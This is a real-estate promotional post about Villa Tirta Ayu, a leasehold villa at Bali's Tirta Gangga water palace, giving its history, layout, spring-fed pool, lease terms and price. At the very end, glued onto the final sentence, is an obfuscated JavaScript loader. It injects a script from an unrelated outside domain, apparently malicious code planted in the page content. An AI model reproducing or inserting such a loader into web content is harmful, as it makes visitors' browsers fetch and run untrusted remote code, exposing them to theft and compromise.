Villa Tirta Ayu

Hello! We’re the Hardys, and we wanted to share this amazing villa that belongs to one of our friends, Villa Tirta Ayu. This place is honestly something else. I truly believe it captures Bali’s traditional and peaceful side perfectly. If this sounds like the kind of getaway you’ve been dreaming of, keep reading to find out more and don’t be afraid to ask if you have any questions!

This hidden jem is located on the hills of East Bali, Villa Tirta Ayu is not just another villa, it’s part of Bali’s royal history. Located inside the famous Tirta Gangga Water Palace, this exquisite home was once the royal sleeping quarters of the King of Karangasem. Surrounded by fountains, tropical gardens, and sacred water pools, the villa offers a perfect blend of history, culture, and beauty.

Perched five meters above the water gardens, it provides breathtaking views of the entire palace grounds. The villa was designed by Carol Mueller, who also worked on Bali’s iconic Amandari and Oberoi resorts. Her design beautifully combines traditional Balinese architecture with a touch of modern comfort, creating a space that feels warm, inviting, and peaceful.

Inside, the villa features two ensuite bedrooms and a third room that can easily be converted into an additional bedroom, along with three bathrooms. The layout includes open-air living areas, a modern kitchen, and a beautiful outdoor dining pavilion perfect for relaxing orentertaining guests.

One of the most unique features of Villa Tirta Ayu is its private plunge pool, filled directly with sacred spring water from Tirta Gangga itself. The water remains naturally fresh and pure, flowing continuously through the property a reminder of the villa’s royal roots and spiritual heritage.

In 2022, the property underwent renovations, refreshing the interiors while preserving its original charm. Sitting on 400 square meters of land, with 43 years remaining on the lease and the option to extend, this villa represents a truly special opportunity. Priced at Rp13 Milyar (around USD 790,000), Villa Tirta Ayu offers a once in a lifetime chance to own a sacred home that carries Bali’s royal legacy through the decades.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);